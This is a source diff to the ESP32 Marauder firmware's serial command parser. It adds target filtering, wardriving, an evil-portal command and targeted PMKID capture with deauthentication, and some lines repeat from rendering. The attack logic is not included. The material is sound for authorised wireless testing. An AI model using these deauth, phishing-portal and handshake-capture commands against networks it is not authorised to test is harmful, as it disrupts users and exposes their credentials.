 const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
 const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
@@ -97,7 +118,7 @@ const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]
 const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
 const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
 const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
 const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
 const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
 const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
-const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>";
+const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\"";
 const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
 const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
 const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
 const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
 
 
@@ -111,11 +132,14 @@ class CommandLine {
   private:
   private:
     String getSerialInput();
     String getSerialInput();
     LinkedList<String> parseCommand(String input, char* delim);
     LinkedList<String> parseCommand(String input, char* delim);
+    String toLowerCase(String str);
+    void filterAccessPoints(String filter);
     void runCommand(String input);
     void runCommand(String input);
     bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
     bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
     bool inRange(int max, int index);
     bool inRange(int max, int index);
     bool apSelected();
     bool apSelected();
     bool hasSSIDs();
     bool hasSSIDs();
+    void showCounts(int selected, int unselected = -1);
     int argSearch(LinkedList<String>* cmd_args, String key);
     int argSearch(LinkedList<String>* cmd_args, String key);
 
 
     const char* ascii_art =
     const char* ascii_art =

+ 413 - 81
esp32cam_marauder/CommandLine.ino

@@ -162,6 +162,9 @@ void CommandLine::RunSetup() {
   Serial.println(F("\n\n--------------------------------\n"));
   Serial.println(F("\n\n--------------------------------\n"));
   Serial.println(F("         ESP32 Marauder      \n"));
   Serial.println(F("         ESP32 Marauder      \n"));
   Serial.println("            " + version_number + "\n");
   Serial.println("            " + version_number + "\n");
+  #ifdef WRITE_PACKETS_SERIAL
+    Serial.println(F("           >> Serial      \n"));
+  #endif
   Serial.println(F("       By: justcallmekoko\n"));
   Serial.println(F("       By: justcallmekoko\n"));
   Serial.println(F("--------------------------------\n\n"));
   Serial.println(F("--------------------------------\n\n"));
   
   
@@ -191,21 +194,38 @@ LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
   LinkedList<String> cmd_args;
   LinkedList<String> cmd_args;
 
 
   bool inQuote = false;
   bool inQuote = false;
+  bool inApostrophe = false;
   String buffer = "";
   String buffer = "";
 
 
   for (int i = 0; i < input.length(); i++) {
   for (int i = 0; i < input.length(); i++) {
     char c = input.charAt(i);
     char c = input.charAt(i);
-    // Do not break parameters that are enclosed in quotes
+
     if (c == '"') {
     if (c == '"') {
-      inQuote = !inQuote;
-    } else if (!inQuote && strchr(delim, c) != NULL) {
+      // Check if the quote is within an apostrophe
+      if (inApostrophe) {
+        buffer += c;
+      } else {
+        inQuote = !inQuote;
+      }
+    } else if (c == '\'') {
+      // Check if the apostrophe is within a quote
+      if (inQuote) {
+        buffer += c;
+      } else {
+        inApostrophe = !inApostrophe;
+      }
+    } else if (!inQuote && !inApostrophe && strchr(delim, c) != NULL) {
       cmd_args.add(buffer);
       cmd_args.add(buffer);
       buffer = "";
       buffer = "";
     } else {
     } else {
       buffer += c;
       buffer += c;
     }
     }
   }
   }
-  cmd_args.add(buffer);
+
+  // Add the last argument
+  if (!buffer.isEmpty()) {
+    cmd_args.add(buffer);
+  }
 
 
   return cmd_args;
   return cmd_args;
 }
 }
@@ -249,6 +269,85 @@ bool CommandLine::hasSSIDs() {
   return true;
   return true;
 }
 }
 
 
+void CommandLine::showCounts(int selected, int unselected) {
+  Serial.print((String) selected + " selected");
+  
+  if (unselected != -1) 
+    Serial.print(", " + (String) unselected + " unselected");
+  
+  Serial.println("");
+}
+
+String CommandLine::toLowerCase(String str) {
+  String result = str;
+  for (int i = 0; i < str.length(); i++) {
+    int charValue = str.charAt(i);
+    if (charValue >= 65 && charValue <= 90) { // ASCII codes for uppercase letters
+      charValue += 32;
+      result.setCharAt(i, char(charValue));
+    }
+  }
+  return result;
+}
+
+void CommandLine::filterAccessPoints(String filter) {
+  int count_selected = 0;
+  int count_unselected = 0;
+
+  // Split the filter string into individual filters
+  LinkedList<String> filters;
+  int start = 0;
+  int end = filter.indexOf(" or ");
+  while (end != -1) {
+    filters.add(filter.substring(start, end));
+    start = end + 4;
+    end = filter.indexOf(" or ", start);
+  }
+  filters.add(filter.substring(start));
+
+  // Loop over each access point and check if it matches any of the filters
+  for (int i = 0; i < access_points->size(); i++) {
+    bool matchesFilter = false;
+    for (int j = 0; j < filters.size(); j++) {
+      String f = toLowerCase(filters.get(j));
+      if (f.substring(0, 7) == "equals ") {
+        String ssidEquals = f.substring(7);
+        if ((ssidEquals.charAt(0) == '\"' && ssidEquals.charAt(ssidEquals.length() - 1) == '\"' && ssidEquals.length() > 1) ||
+            (ssidEquals.charAt(0) == '\'' && ssidEquals.charAt(ssidEquals.length() - 1) == '\'' && ssidEquals.length() > 1)) {
+          ssidEquals = ssidEquals.substring(1, ssidEquals.length() - 1);
+        }
+        if (access_points->get(i).essid.equalsIgnoreCase(ssidEquals)) {
+          matchesFilter = true;
+          break;
+        }
+      } else if (f.substring(0, 9) == "contains ") {
+        String ssidContains = f.substring(9);
+        if ((ssidContains.charAt(0) == '\"' && ssidContains.charAt(ssidContains.length() - 1) == '\"' && ssidContains.length() > 1) ||
+            (ssidContains.charAt(0) == '\'' && ssidContains.charAt(ssidContains.length() - 1) == '\'' && ssidContains.length() > 1)) {
+          ssidContains = ssidContains.substring(1, ssidContains.length() - 1);
+        }
+        String essid = toLowerCase(access_points->get(i).essid);
+        if (essid.indexOf(ssidContains) != -1) {
+          matchesFilter = true;
+          break;
+        }
+      }
+    }
+    // Toggles the selected state of the AP
+    AccessPoint new_ap = access_points->get(i);
+    new_ap.selected = matchesFilter;
+    access_points->set(i, new_ap);
+
+    if (matchesFilter) {
+      count_selected++;
+    } else {
+      count_unselected++;
+    }
+  }
+
+  this->showCounts(count_selected, count_unselected);
+}
+
 void CommandLine::runCommand(String input) {
 void CommandLine::runCommand(String input) {
   if (input != "")
   if (input != "")
     Serial.println("#" + input);
     Serial.println("#" + input);
@@ -267,8 +366,14 @@ void CommandLine::runCommand(String input) {
     Serial.println(HELP_CLEARAP_CMD_A);
     Serial.println(HELP_CLEARAP_CMD_A);
     Serial.println(HELP_REBOOT_CMD);
     Serial.println(HELP_REBOOT_CMD);
     Serial.println(HELP_UPDATE_CMD_A);
     Serial.println(HELP_UPDATE_CMD_A);
+    Serial.println(HELP_LS_CMD);
+    Serial.println(HELP_LED_CMD);
+    Serial.println(HELP_GPS_DATA_CMD);
+    Serial.println(HELP_GPS_CMD);
     
     
     // WiFi sniff/scan
     // WiFi sniff/scan
+    Serial.println(HELP_EVIL_PORTAL_CMD);
+    Serial.println(HELP_SIGSTREN_CMD);
     Serial.println(HELP_SCANAP_CMD);
     Serial.println(HELP_SCANAP_CMD);
     Serial.println(HELP_SCANSTA_CMD);
     Serial.println(HELP_SCANSTA_CMD);
     Serial.println(HELP_SNIFF_RAW_CMD);
     Serial.println(HELP_SNIFF_RAW_CMD);
@@ -279,6 +384,7 @@ void CommandLine::runCommand(String input) {
     Serial.println(HELP_SNIFF_DEAUTH_CMD);
     Serial.println(HELP_SNIFF_DEAUTH_CMD);
     Serial.println(HELP_SNIFF_PMKID_CMD);
     Serial.println(HELP_SNIFF_PMKID_CMD);
     Serial.println(HELP_STOPSCAN_CMD);
     Serial.println(HELP_STOPSCAN_CMD);
+    Serial.println(HELP_WARDRIVE_CMD);
     
     
     // WiFi attack
     // WiFi attack
     Serial.println(HELP_ATTACK_CMD);
     Serial.println(HELP_ATTACK_CMD);
@@ -300,15 +406,15 @@ void CommandLine::runCommand(String input) {
 
 
   // Stop Scan
   // Stop Scan
   if (cmd_args.get(0) == STOPSCAN_CMD) {
   if (cmd_args.get(0) == STOPSCAN_CMD) {
-    if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
-      wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+    //if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
+    //  wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
       //#ifdef HAS_SCREEN
       //#ifdef HAS_SCREEN
       //  menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
       //  menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
       //#endif
       //#endif
-      WiFi.softAPdisconnect(true);
-      web_obj.shutdownServer();
-      return;
-    }
+    //  WiFi.softAPdisconnect(true);
+    //  web_obj.shutdownServer();
+    //  return;
+    //}
     
     
     wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
     wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
 
 
@@ -320,6 +426,85 @@ void CommandLine::runCommand(String input) {
       menu_function_obj.changeMenu(menu_function_obj.current_menu);
       menu_function_obj.changeMenu(menu_function_obj.current_menu);
     #endif
     #endif
   }
   }
+  else if (cmd_args.get(0) == GPS_DATA_CMD) {
+    #ifdef HAS_GPS
+      if (gps_obj.getGpsModuleStatus()) {
+        Serial.println("Getting GPS Data. Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_DATA;
+        #ifdef HAS_SCREEN
+          menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
+        #endif
+        wifi_scan_obj.StartScan(WIFI_SCAN_GPS_DATA, TFT_CYAN);
+      }
+    #endif
+  }
+  else if (cmd_args.get(0) == GPS_CMD) {
+    #ifdef HAS_GPS
+      if (gps_obj.getGpsModuleStatus()) {
+        int get_arg = this->argSearch(&cmd_args, "-g");
+
+        if (get_arg != -1) {
+          String gps_info = cmd_args.get(get_arg + 1);
+
+          if (gps_info == "fix")
+            Serial.println("Fix: " + gps_obj.getFixStatusAsString());
+          else if (gps_info == "sat")
+            Serial.println("Sats: " + gps_obj.getNumSatsString());
+          else if (gps_info == "lat")
+            Serial.println("Lat: " + gps_obj.getLat());
+          else if (gps_info == "lon")
+            Serial.println("Lon: " + gps_obj.getLon());
+          else if (gps_info == "alt")
+            Serial.println("Alt: " + (String)gps_obj.getAlt());
+          else if (gps_info == "date")
+            Serial.println("Date/Time: " + gps_obj.getDatetime());
+          else
+            Serial.println("You did not provide a valid argument");
+        }
+      }
+    #endif
+  }
+  // LED command
+  else if (cmd_args.get(0) == LED_CMD) {
+    int hex_arg = this->argSearch(&cmd_args, "-s");
+    int pat_arg = this->argSearch(&cmd_args, "-p");
+    #ifdef PIN
+      if (hex_arg != -1) {
+        String hexstring = cmd_args.get(hex_arg + 1);
+        int number = (int)strtol(&hexstring[1], NULL, 16);
+        int r = number >> 16;
+        int g = number >> 8 & 0xFF;
+        int b = number & 0xFF;
+        //Serial.println(r);
+        //Serial.println(g);
+        //Serial.println(b);
+        led_obj.setColor(r, g, b);
+        led_obj.setMode(MODE_CUSTOM);
+      }
+      else if (pat_arg != -1) {
+        String pat_name = cmd_args.get(pat_arg + 1);
+        pat_name.toLowerCase();
+        if (pat_name == "rainbow") {
+          led_obj.setMode(MODE_RAINBOW);
+        }
+      }
+    #else
+      Serial.println("This hardware does not support neopixel");
+    #endif
+  }
+  // ls command
+  else if (cmd_args.get(0) == LS_CMD) {
+    #ifdef HAS_SD
+      if (cmd_args.size() > 1)
+        sd_obj.listDir(cmd_args.get(1));
+      else
+        Serial.println("You did not provide a dir to list");
+    #else
+      Serial.println("SD support disabled, cannot use command");
+      return;
+    #endif
+  }
+
   // Channel command
   // Channel command
   else if (cmd_args.get(0) == CH_CMD) {
   else if (cmd_args.get(0) == CH_CMD) {
     // Search for channel set arg
     // Search for channel set arg
@@ -429,9 +614,57 @@ void CommandLine::runCommand(String input) {
 
 
   //// WiFi/Bluetooth Scan/Attack commands
   //// WiFi/Bluetooth Scan/Attack commands
   if (!wifi_scan_obj.scanning()) {
   if (!wifi_scan_obj.scanning()) {
-
+    // Signal strength scan
+    if (cmd_args.get(0) == SIGSTREN_CMD) {
+      Serial.println("Starting Signal Strength Scan. Stop with " + (String)STOPSCAN_CMD);
+      #ifdef HAS_SCREEN
+        display_obj.clearScreen();
+        menu_function_obj.drawStatusBar();
+      #endif
+      wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
+    }
+    // Wardrive
+    else if (cmd_args.get(0) == WARDRIVE_CMD) {
+      #ifdef HAS_GPS
+        if (gps_obj.getGpsModuleStatus()) {
+          Serial.println("Starting Wardrive. Stop with " + (String)STOPSCAN_CMD);
+          #ifdef HAS_SCREEN
+            display_obj.clearScreen();
+            menu_function_obj.drawStatusBar();
+          #endif
+          wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
+        }
+      #endif
+    }
     // AP Scan
     // AP Scan
-    if (cmd_args.get(0) == SCANAP_CMD) {
+    else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
+      int cmd_sw = this->argSearch(&cmd_args, "-c");
+
+      if (cmd_sw != -1) {
+        String et_command = cmd_args.get(cmd_sw + 1);
+        if (et_command == "start") {
+          Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
+          #ifdef HAS_SCREEN
+            display_obj.clearScreen();
+            menu_function_obj.drawStatusBar();
+          #endif
+          wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
+        }
+        else if (et_command == "reset") {
+          
+        }
+        else if (et_command == "ack") {
+          
+        }
+        else if (et_command == "sethtml") {
+
+        }
+        else if (et_command == "setap") {
+
+        }
+      }
+    }
+    else if (cmd_args.get(0) == SCANAP_CMD) {
       int full_sw = -1;
       int full_sw = -1;
       #ifdef HAS_SCREEN
       #ifdef HAS_SCREEN
         display_obj.clearScreen();
         display_obj.clearScreen();
@@ -458,6 +691,9 @@ void CommandLine::runCommand(String input) {
     }
     }
     // Scan stations
     // Scan stations
     else if (cmd_args.get(0) == SCANSTA_CMD) {    
     else if (cmd_args.get(0) == SCANSTA_CMD) {    
+      if(access_points->size() < 1)
+        Serial.println("The AP list is empty. Scan APs first with " + (String)SCANAP_CMD);  
+
       Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);  
       Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);  
       #ifdef HAS_SCREEN
       #ifdef HAS_SCREEN
         display_obj.clearScreen();
         display_obj.clearScreen();
@@ -514,6 +750,14 @@ void CommandLine::runCommand(String input) {
     else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
     else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
       int ch_sw = this->argSearch(&cmd_args, "-c");
       int ch_sw = this->argSearch(&cmd_args, "-c");
       int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
       int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
+      int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list
+
+      if (l_sw != -1) {
+        if (!this->apSelected()) {
+          Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
+          return;
+        }
+      }
       
       
       if (ch_sw != -1) {
       if (ch_sw != -1) {
         wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
         wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
@@ -526,11 +770,15 @@ void CommandLine::runCommand(String input) {
         Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
         Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
         wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
         wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
       }
       }
+      else if ((d_sw != -1) && (l_sw != -1)) {
+        Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
+        wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET);
+      }
       else {
       else {
         Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
         Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
         wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
         wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
       }
       }
-    }
+    }    
 
 
     //// WiFi attack commands
     //// WiFi attack commands
     // attack
     // attack
@@ -670,54 +918,68 @@ void CommandLine::runCommand(String input) {
     //// Bluetooth scan/attack commands
     //// Bluetooth scan/attack commands
     // Bluetooth scan
     // Bluetooth scan
     if (cmd_args.get(0) == BT_SNIFF_CMD) {
     if (cmd_args.get(0) == BT_SNIFF_CMD) {
-      Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
-      #ifdef HAS_SCREEN
-        display_obj.clearScreen();
-        menu_function_obj.drawStatusBar();
+      #ifdef HAS_BT
+        Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
+        #ifdef HAS_SCREEN
+          display_obj.clearScreen();
+          menu_function_obj.drawStatusBar();
+        #endif
+        wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
+      #else
+        Serial.println("Bluetooth not supported");
       #endif
       #endif
-      wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
     }
     }
     // Bluetooth CC Skimmer scan
     // Bluetooth CC Skimmer scan
     else if (cmd_args.get(0) == BT_SKIM_CMD) {
     else if (cmd_args.get(0) == BT_SKIM_CMD) {
-      Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
-      #ifdef HAS_SCREEN
-        display_obj.clearScreen();
-        menu_function_obj.drawStatusBar();
+      #ifdef HAS_BT
+        Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
+        #ifdef HAS_SCREEN
+          display_obj.clearScreen();
+          menu_function_obj.drawStatusBar();
+        #endif
+        wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
+      #else
+        Serial.println("Bluetooth not supported");
       #endif
       #endif
-      wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
     }
     }
 
 
     // Update command
     // Update command
     if (cmd_args.get(0) == UPDATE_CMD) {
     if (cmd_args.get(0) == UPDATE_CMD) {
-      int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
+      //int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
       int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
       int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
 
 
       // Update via OTA
       // Update via OTA
-      if (w_sw != -1) {
-        Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
-        wifi_scan_obj.currentScanMode = OTA_UPDATE;
+      //if (w_sw != -1) {
+      //  Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
+      //  wifi_scan_obj.currentScanMode = OTA_UPDATE;
         //#ifdef HAS_SCREEN
         //#ifdef HAS_SCREEN
         //  menu_function_obj.changeMenu(menu_function_obj.updateMenu);
         //  menu_function_obj.changeMenu(menu_function_obj.updateMenu);
         //#endif
         //#endif
-        web_obj.setupOTAupdate();
-      }
+      //  web_obj.setupOTAupdate();
+      //}
       // Update via SD
       // Update via SD
-      else if (sd_sw != -1) {
-        #ifndef WRITE_PACKETS_SERIAL
-          if (!sd_obj.supported) {
-            Serial.println("SD card is not connected. Cannot perform SD Update");
-            return;
-          }
-          wifi_scan_obj.currentScanMode = OTA_UPDATE;
-          sd_obj.runUpdate();
-        #else
-          Serial.println("SD card not initialized. Cannot perform SD Update");
-        #endif
+      if (sd_sw != -1) {
+      #ifdef HAS_SD
+          #ifndef WRITE_PACKETS_SERIAL
+            if (!sd_obj.supported) {
+              Serial.println("SD card is not connected. Cannot perform SD Update");
+              return;
+            }
+            wifi_scan_obj.currentScanMode = OTA_UPDATE;
+            sd_obj.runUpdate();
+          #else
+            Serial.println("SD card not initialized. Cannot perform SD Update");
+          #endif
+      #else
+        Serial.println("SD card support disabled. Cannot perform SD Update");
+        return;
+      #endif
       }
       }
     }
     }
   }
   }
 
 
 
 
+  int count_selected = 0;
   //// WiFi aux commands
   //// WiFi aux commands
   // List access points
   // List access points
   if (cmd_args.get(0) == LIST_AP_CMD) {
   if (cmd_args.get(0) == LIST_AP_CMD) {
@@ -728,20 +990,26 @@ void CommandLine::runCommand(String input) {
     // List APs
     // List APs
     if (ap_sw != -1) {
     if (ap_sw != -1) {
       for (int i = 0; i < access_points->size(); i++) {
       for (int i = 0; i < access_points->size(); i++) {
-        if (access_points->get(i).selected)
-          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
+        if (access_points->get(i).selected) {
+          Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
+          count_selected += 1;
+        } 
         else
         else
-          Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
+          Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
       }
       }
+      this->showCounts(count_selected);
     }
     }
     // List SSIDs
     // List SSIDs
     else if (ss_sw != -1) {
     else if (ss_sw != -1) {
       for (int i = 0; i < ssids->size(); i++) {
       for (int i = 0; i < ssids->size(); i++) {
-        if (ssids->get(i).selected)
+        if (ssids->get(i).selected) {
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
+          count_selected += 1;
+        } 
         else
         else
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
           Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
       }
       }
+      this->showCounts(count_selected);
     }
     }
     // List Stations
     // List Stations
     else if (cl_sw != -1) {
     else if (cl_sw != -1) {
@@ -754,6 +1022,7 @@ void CommandLine::runCommand(String input) {
             Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
             Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
             Serial.print(sta_mac);
             Serial.print(sta_mac);
             Serial.println(" (selected)");
             Serial.println(" (selected)");
+            count_selected += 1;
           }
           }
           else {
           else {
             Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
             Serial.print("  [" + (String)access_points->get(x).stations->get(i) + "] ");
@@ -761,6 +1030,7 @@ void CommandLine::runCommand(String input) {
           }
           }
         }
         }
       }
       }
+      this->showCounts(count_selected);
     }
     }
     else {
     else {
       Serial.println("You did not specify which list to show");
       Serial.println("You did not specify which list to show");
@@ -773,50 +1043,66 @@ void CommandLine::runCommand(String input) {
     int ap_sw = this->argSearch(&cmd_args, "-a");
     int ap_sw = this->argSearch(&cmd_args, "-a");
     int ss_sw = this->argSearch(&cmd_args, "-s");
     int ss_sw = this->argSearch(&cmd_args, "-s");
     int cl_sw = this->argSearch(&cmd_args, "-c");
     int cl_sw = this->argSearch(&cmd_args, "-c");
+    int filter_sw = this->argSearch(&cmd_args, "-f");
 
 
+    count_selected = 0;
+    int count_unselected = 0;
     // select Access points
     // select Access points
     if (ap_sw != -1) {
     if (ap_sw != -1) {
-      // Get list of indices
-      LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
 
 
-      // Select ALL APs
-      if (cmd_args.get(ap_sw + 1) == "all") {
-        for (int i = 0; i < access_points->size(); i++) {
-          if (access_points->get(i).selected) {
-            // Unselect "selected" ap
-            AccessPoint new_ap = access_points->get(i);
-            new_ap.selected = false;
-            access_points->set(i, new_ap);
-          }
-          else {
-            // Select "unselected" ap
-            AccessPoint new_ap = access_points->get(i);
-            new_ap.selected = true;
-            access_points->set(i, new_ap);
+      // If the filters parameter was specified
+      if (filter_sw != -1) {
+        String filter_ap = cmd_args.get(filter_sw + 1);
+        this->filterAccessPoints(filter_ap);
+      } else {
+        // Get list of indices
+        LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
+
+        // Select ALL APs
+        if (cmd_args.get(ap_sw + 1) == "all") {
+          for (int i = 0; i < access_points->size(); i++) {
+            if (access_points->get(i).selected) {
+              // Unselect "selected" ap
+              AccessPoint new_ap = access_points->get(i);
+              new_ap.selected = false;
+              access_points->set(i, new_ap);
+              count_unselected += 1;
+            }
+            else {
+              // Select "unselected" ap
+              AccessPoint new_ap = access_points->get(i);
+              new_ap.selected = true;
+              access_points->set(i, new_ap);
+              count_selected += 1;
+            }
           }
           }
+          this->showCounts(count_selected, count_unselected);
         }
         }
-      }
-      // Select specific APs
-      else {
-        // Mark APs as selected
-        for (int i = 0; i < ap_index.size(); i++) {
-          int index = ap_index.get(i).toInt();
-          if (!this->inRange(access_points->size(), index)) {
-            Serial.println("Index not in range: " + (String)index);
-            continue;
-          }
-          if (access_points->get(index).selected) {
-            // Unselect "selected" ap
-            AccessPoint new_ap = access_points->get(index);
-            new_ap.selected = false;
-            access_points->set(index, new_ap);
-          }
-          else {
-            // Select "unselected" ap
-            AccessPoint new_ap = access_points->get(index);
-            new_ap.selected = true;
-            access_points->set(index, new_ap);
+        // Select specific APs
+        else {
+          // Mark APs as selected
+          for (int i = 0; i < ap_index.size(); i++) {
+            int index = ap_index.get(i).toInt();
+            if (!this->inRange(access_points->size(), index)) {
+              Serial.println("Index not in range: " + (String)index);
+              continue;
+            }
+            if (access_points->get(index).selected) {
+              // Unselect "selected" ap
+              AccessPoint new_ap = access_points->get(index);
+              new_ap.selected = false;
+              access_points->set(index, new_ap);
+              count_unselected += 1;
+            }
+            else {
+              // Select "unselected" ap
+              AccessPoint new_ap = access_points->get(index);
+              new_ap.selected = true;
+              access_points->set(index, new_ap);
+              count_selected += 1;
+            }
           }
           }
+          this->showCounts(count_selected, count_unselected);
         }
         }
       }
       }
     }
     }
@@ -831,14 +1117,17 @@ void CommandLine::runCommand(String input) {
             Station new_sta = stations->get(i);
             Station new_sta = stations->get(i);
             new_sta.selected = false;
             new_sta.selected = false;
             stations->set(i, new_sta);
             stations->set(i, new_sta);
+            count_unselected += 1;
           }
           }
           else {
           else {
             // Select "unselected" ap
             // Select "unselected" ap
             Station new_sta = stations->get(i);
             Station new_sta = stations->get(i);
             new_sta.selected = true;
             new_sta.selected = true;
             stations->set(i, new_sta);
             stations->set(i, new_sta);
+            count_selected += 1;
           }
           }
         }
         }
+        this->showCounts(count_selected, count_unselected);
       }
       }
       // Select specific Stations
       // Select specific Stations
       else {
       else {
@@ -854,14 +1143,17 @@ void CommandLine::runCommand(String input) {
             Station new_sta = stations->get(index);
             Station new_sta = stations->get(index);
             new_sta.selected = false;
             new_sta.selected = false;
             stations->set(index, new_sta);
             stations->set(index, new_sta);
+            count_unselected += 1;
           }
           }
           else {
           else {
             // Select "unselected" ap
             // Select "unselected" ap
             Station new_sta = stations->get(index);
             Station new_sta = stations->get(index);
             new_sta.selected = true;
             new_sta.selected = true;
             stations->set(index, new_sta);
             stations->set(index, new_sta);
+            count_selected += 1;
           }
           }
         }
         }
+        this->showCounts(count_selected, count_unselected);
       }
       }
     }
     }
     // select ssids
     // select ssids
@@ -881,14 +1173,17 @@ void CommandLine::runCommand(String input) {
           ssid new_ssid = ssids->get(index);
           ssid new_ssid = ssids->get(index);
           new_ssid.selected = false;
           new_ssid.selected = false;
           ssids->set(index, new_ssid);
           ssids->set(index, new_ssid);
+          count_unselected += 1;
         }
         }
         else {
         else {
           // Select "unselected" ap
           // Select "unselected" ap
           ssid new_ssid = ssids->get(index);
           ssid new_ssid = ssids->get(index);
           new_ssid.selected = true;
           new_ssid.selected = true;
           ssids->set(index, new_ssid);
           ssids->set(index, new_ssid);
+          count_selected += 1;
         }
         }
       }
       }
+      this->showCounts(count_selected, count_unselected);
     }
     }
     else {
     else {
       Serial.println("You did not specify which list to select from");
       Serial.println("You did not specify which list to select from");
@@ -932,4 +1227,41 @@ void CommandLine::runCommand(String input) {
       return;
       return;
     }
     }
   }
   }
+  // Join WiFi
+  /*else if (cmd_args.get(0) == JOINWIFI_CMD) {
+    int n_sw = this->argSearch(&cmd_args, "-n"); // name
+    int a_sw = this->argSearch(&cmd_args, "-a"); // access point
+    int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
+    int p_sw = this->argSearch(&cmd_args, "-p");   
+    
+    String essid = "";
+    String pwx = "";
+    
+    if (s_sw != -1) {
+      int index = cmd_args.get(s_sw + 1).toInt();
+      if (!this->inRange(ssids->size(), index)) {
+        Serial.println("Index not in range: " + (String)index);
+        return;
+      }
+      essid = ssids->get(index).essid;
